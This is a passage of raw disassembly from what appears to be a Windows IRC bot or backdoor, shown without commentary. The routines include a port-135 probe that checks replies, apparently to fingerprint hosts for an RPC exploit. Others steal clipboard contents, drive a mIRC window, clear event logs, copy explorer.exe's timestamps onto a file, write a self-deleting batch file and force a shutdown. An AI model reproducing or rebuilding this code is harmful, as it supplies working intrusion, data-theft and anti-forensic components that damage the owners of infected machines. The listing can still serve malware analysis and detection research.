jle short loc_417F5A
cmp esi, 3
jnz short loc_417F51
cmp ebx, 1
jz short loc_417F5A
loc_417F51: ; CODE XREF: sub_417E84+C6j
cmp eax, 1
jnz loc_418014
loc_417F5A: ; CODE XREF: sub_417E84+C1j
; sub_417E84+CBj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276C0
call sub_41D174
push off_438A68[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C890
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41C990
add esp, 10h
test eax, eax
jnz short loc_418001
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_418001
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_418001
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul ds:dbl_4276C8
call sub_41D174
mov al, byte ptr a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_418001: ; CODE XREF: sub_417E84+111j
; sub_417E84+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41CBC0
add esp, 0Ch
loc_418014: ; CODE XREF: sub_417E84+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B9C0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41DEE8
pop ecx
test eax, eax
pop ecx
jnz loc_41827C
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz loc_418173
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4276C8
call sub_41D174
cmp esi, 3
jz short loc_418082
cmp eax, 1
jnz loc_418173
loc_418082: ; CODE XREF: sub_417E84+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_4180C4
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_4276C8
call sub_41D174
mov al, byte ptr a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_4180E0
; ---------------------------------------------------------------------------
loc_4180C4: ; CODE XREF: sub_417E84+207j
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_4180E0: ; CODE XREF: sub_417E84+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B0
call sub_41D174
cmp esi, 3
jz short loc_418109
cmp eax, ebx
jnz short loc_418173
loc_418109: ; CODE XREF: sub_417E84+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41814E
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_4276C8
call sub_41D174
mov al, byte ptr a__1[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41816C
; ---------------------------------------------------------------------------
loc_41814E: ; CODE XREF: sub_417E84+28Fj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41816C: ; CODE XREF: sub_417E84+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_418173: ; CODE XREF: sub_417E84+1C9j
; sub_417E84+1F8j ...
cmp esi, 6
jge loc_4181FC
cmp esi, 5
jge short loc_418194
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276D0
jmp short loc_4181B2
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_417E84+2FBj
call sub_41C2C2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4276C8
loc_4181B2: ; CODE XREF: sub_417E84+30Ej
call sub_41D174
test eax, eax
jnz short loc_4181D5
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276A8
call sub_41D174
mov cl, 30h
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181D5: ; CODE XREF: sub_417E84+335j
cmp eax, 1
jnz short loc_4181FC
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B8
call sub_41D174
mov cl, 41h
loc_4181F2: ; CODE XREF: sub_417E84+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_4181FC: ; CODE XREF: sub_417E84+2F2j
; sub_417E84+354j
cmp [ebp+var_C], 2
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276A8
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276A0
call sub_41D174
cmp eax, 1
jnz short loc_41827C
cmp [ebp+var_C], eax
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_427698
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_41827C: ; CODE XREF: sub_417E84+1B1j
; sub_417E84+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BFD0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417E84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418295 proc near ; CODE XREF: sub_4182CD+125p
; sub_4182CD+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_4182C3
loc_4182A6: ; CODE XREF: sub_418295+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DF40
add esp, 0Ch
test eax, eax
jz short loc_4182C9
inc esi
cmp esi, edi
jl short loc_4182A6
loc_4182C3: ; CODE XREF: sub_418295+Fj
xor al, al
loc_4182C5: ; CODE XREF: sub_418295+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4182C9: ; CODE XREF: sub_418295+27j
mov al, 1
jmp short loc_4182C5
sub_418295 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182CD proc near ; CODE XREF: .text:0040DFD7p
; .text:0040E0C0p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C500
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_41830E
dec eax
jz short loc_4182EC
dec eax
loc_4182E6: ; CODE XREF: sub_4182CD+57j
xor eax, eax
loc_4182E8: ; CODE XREF: sub_4182CD+3Fj
; sub_4182CD+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4182EC: ; CODE XREF: sub_4182CD+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4CBA14 ; inet_addr
push eax
call sub_40C34B
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_4182E8
; ---------------------------------------------------------------------------
loc_41830E: ; CODE XREF: sub_4182CD+13j
push 6
push 1
push 2
call dword_4CBA54 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_4182E6
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4CB9D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C ; connect
cmp eax, edi
jz loc_41842A
push ebx
push 48h
push offset dword_439374
push esi
call dword_4CBA24 ; send
cmp eax, edi
jz loc_41842A
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC ; recv
cmp eax, edi
jz loc_41842A
cmp [ebp+var_200E], 0Ch
jnz short loc_41842A
push ebx
push 18h
push offset dword_4393C0
push [ebp+arg_4]
call dword_4CBA24 ; send
cmp eax, edi
jz short loc_41842A
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC ; recv
mov esi, eax
cmp esi, edi
jz short loc_41842A
cmp [ebp+var_200E], 2
jnz short loc_41842A
push 10h
push offset dword_4393DC
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
test al, al
jz short loc_41840A
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_41842A
; ---------------------------------------------------------------------------
loc_41840A: ; CODE XREF: sub_4182CD+12Fj
push 10h
push offset dword_4393F0
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_41842A: ; CODE XREF: sub_4182CD+9Bj
; sub_4182CD+B2j ...
push [ebp+arg_4]
call dword_4CBA6C ; closesocket
mov eax, ebx
pop ebx
jmp loc_4182E8
sub_4182CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p
; sub_401ACD+C0Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_4184C6
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_4184C6
cmp [ebp+arg_8], esi
jz short loc_4184C6
cmp byte ptr [eax], 0
jz short loc_4184C6
push ebx
push edi
call sub_426465
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_4184C1
push [ebp+arg_4]
push edi
call sub_41C2E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4184BA
sub eax, edi
push eax
push edi
push ebx
call sub_41BFD0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B9C0
push eax
push [ebp+arg_8]
push ebx
call sub_41CBC0
push [ebp+arg_4]
call sub_41B9C0
add eax, esi
push eax
push ebx
call sub_41C8A0
push ebx
push edi
call sub_41C890
add esp, 30h
mov esi, edi
loc_4184BA: ; CODE XREF: sub_41843B+3Cj
push ebx
call sub_41BA91
pop ecx
loc_4184C1: ; CODE XREF: sub_41843B+2Bj
mov eax, esi
pop ebx
jmp short loc_4184C8
; ---------------------------------------------------------------------------
loc_4184C6: ; CODE XREF: sub_41843B+Cj
; sub_41843B+13j ...
xor eax, eax
loc_4184C8: ; CODE XREF: sub_41843B+89j
pop edi
pop esi
pop ebp
retn
sub_41843B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184CC proc near ; CODE XREF: sub_401955+E9p
; sub_410BFD+F4p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41BF70
mov esi, [ebp+arg_0]
push esi
call sub_41B9C0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_418502
or eax, 0FFFFFFFFh
jmp short loc_418575
; ---------------------------------------------------------------------------
loc_418502: ; CODE XREF: sub_4184CC+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_418524
loc_41850E: ; CODE XREF: sub_4184CC+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41851B
cmp dl, 0Dh
jnz short loc_41851F
loc_41851B: ; CODE XREF: sub_4184CC+48j
and byte ptr [ecx+esi], 0
loc_41851F: ; CODE XREF: sub_4184CC+4Dj
inc ecx
cmp ecx, eax
jl short loc_41850E
loc_418524: ; CODE XREF: sub_4184CC+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418555
lea edi, [ebp+var_7CC]
loc_418531: ; CODE XREF: sub_4184CC+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418550
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418550
cmp ebx, 1F4h
jge short loc_418555
mov [edi], ecx
inc ebx
add edi, 4
loc_418550: ; CODE XREF: sub_4184CC+69j
; sub_4184CC+74j
inc edx
cmp edx, eax
jl short loc_418531
loc_418555: ; CODE XREF: sub_4184CC+5Dj
; sub_4184CC+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418573
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41CD20
add esp, 0Ch
loc_418573: ; CODE XREF: sub_4184CC+8Ej
mov eax, ebx
loc_418575: ; CODE XREF: sub_4184CC+34j
pop esi
pop ebx
leave
retn
sub_4184CC endp
; =============== S U B R O U T I N E =======================================
sub_418579 proc near ; CODE XREF: sub_4185D3+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4185B2
push ebx
mov ebx, edi
loc_418596: ; CODE XREF: sub_418579+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4185B5
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418596
pop ebx
loc_4185B2: ; CODE XREF: sub_418579+18j
pop edi
pop esi
retn
sub_418579 endp
; =============== S U B R O U T I N E =======================================
sub_4185B5 proc near ; CODE XREF: sub_418579+25p
; sub_4185D3+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DFEC
cmp al, 61h
pop ecx
jl short loc_4185D0
cmp al, 7Ah
jg short loc_4185D0
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_4185D0: ; CODE XREF: sub_4185B5+Ej
; sub_4185B5+12j
xor eax, eax
retn
sub_4185B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185D3 proc near ; CODE XREF: sub_415E19+10p
; sub_415E4B+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C500
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B9C0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418579
add esp, 14h
dec esi
mov edi, esi
loc_418611: ; CODE XREF: sub_4185D3+B6j
test esi, esi
jle short loc_41868F
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DFEC
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418687
loc_418637: ; CODE XREF: sub_4185D3+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_4185B5
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418658
mov eax, ecx
loc_418658: ; CODE XREF: sub_4185D3+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41868B
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41DFEC
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418637
loc_418687: ; CODE XREF: sub_4185D3+62j
dec edi
dec esi
jmp short loc_418611
; ---------------------------------------------------------------------------
loc_41868B: ; CODE XREF: sub_4185D3+8Aj
xor eax, eax
jmp short loc_418694
; ---------------------------------------------------------------------------
loc_41868F: ; CODE XREF: sub_4185D3+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418694: ; CODE XREF: sub_4185D3+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_4185D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p
; sub_401ACD+76FFp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_427094 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_427164 ; FormatMessageA
lea eax, [ebp+var_100]
loc_4186D2: ; CODE XREF: sub_418699+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_4186DE
cmp cl, 9
jnz short loc_4186E1
loc_4186DE: ; CODE XREF: sub_418699+3Ej
inc eax
jmp short loc_4186D2
; ---------------------------------------------------------------------------
loc_4186E1: ; CODE XREF: sub_418699+43j
; sub_418699+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4186FB
mov cl, [eax]
cmp cl, 2Eh
jz short loc_4186E1
cmp cl, 21h
jl short loc_4186E1
loc_4186FB: ; CODE XREF: sub_418699+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DB17C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418699 endp
; =============== S U B R O U T I N E =======================================
sub_418723 proc near ; CODE XREF: sub_401ACD+2470p
push esi
push 0
call dword_4CB9A4 ; OpenClipboard
test eax, eax
jz short loc_41875A
push 1
call dword_4CB9C4 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_41875A
push edi
push esi
call ds:dword_42716C ; GlobalLock
push esi
mov edi, eax
call ds:dword_427168 ; GlobalUnlock
call dword_4CBA28 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41875A: ; CODE XREF: sub_418723+Bj
; sub_418723+19j
xor eax, eax
pop esi
retn
sub_418723 endp
; =============== S U B R O U T I N E =======================================
sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB9E0 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_4187DA
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:dword_427178 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call ds:dword_427174 ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41C266
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CBA30 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4CBA30 ; SendMessageA
push ebx
call ds:dword_427170 ; UnmapViewOfFile
push edi
call ds:dword_427070 ; CloseHandle
push 1
pop eax
pop ebx
jmp short loc_4187DC
; ---------------------------------------------------------------------------
loc_4187DA: ; CODE XREF: sub_41875E+16j
xor eax, eax
loc_4187DC: ; CODE XREF: sub_41875E+7Aj
pop edi
pop esi
pop ebp
retn
sub_41875E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187E0 proc near ; CODE XREF: sub_401221+212p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CBA90 ; SearchPathA
test eax, eax
jz short loc_41887F
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_4270F8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_427180 ; GetFileTime
push ebx
mov ebx, ds:dword_427070
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_42717C ; SetFileTime
push esi
call ebx ; CloseHandle
loc_41887F: ; CODE XREF: sub_4187E0+2Aj
; sub_4187E0+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4187E0 endp
; =============== S U B R O U T I N E =======================================
sub_418884 proc near ; CODE XREF: sub_401ACD+1682p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419B9E
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB914 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_418884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep
; sub_4167A0+472p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_4188CA
cmp dword_4CBAA4, esi
jnz short loc_4188CA
push esi
call sub_401000
pop ecx
loc_4188CA: ; CODE XREF: sub_4188A6+13j
; sub_4188A6+1Bj
call sub_40B583
lea eax, [ebp+var_764]
push eax
push 400h
call ds:dword_4270B8 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_4270F8 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_418A2A
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call ds:dword_4270F0 ; WriteFile
push edi
call ds:dword_427070 ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43DB88
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:dword_4270A4 ; GetModuleHandleA
push eax
call ds:dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call ds:dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4189D2
lea eax, [ebp+var_15C]
push 80h
push eax
call ds:dword_42709C ; SetFileAttributesA
loc_4189D2: ; CODE XREF: sub_4188A6+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call ds:dword_427184 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call ds:dword_427074 ; CreateProcessA
loc_418A2A: ; CODE XREF: sub_4188A6+72j
pop edi
pop esi
leave
retn
sub_4188A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call ds:dword_4270D0 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_418AC4
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB954 ; OpenEventLogA
push edi
push eax
call dword_4CB964 ; ClearEventLogA
test eax, eax
jz short loc_418AB6
push [ebp+arg_10]
push offset dword_4394FC
loc_418A8F: ; CODE XREF: sub_418A2E+94j
lea eax, [ebp+var_294]
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
jmp short loc_418AEE
; ---------------------------------------------------------------------------
loc_418AB6: ; CODE XREF: sub_418A2E+57j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4394D4
jmp short loc_418A8F
; ---------------------------------------------------------------------------
loc_418AC4: ; CODE XREF: sub_418A2E+3Fj
lea eax, [ebp+var_294]
push offset unk_4394A4
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_418AEE: ; CODE XREF: sub_418A2E+86j
pop edi
leave
retn
sub_418A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call ds:dword_4270D0 ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_418B47
cmp [ebp+var_8C], 0
jnz short loc_418B30
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_418B47
leave
retn
; ---------------------------------------------------------------------------
loc_418B30: ; CODE XREF: sub_418AF1+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418B42
cmp [ebp+var_8C], 5Ah
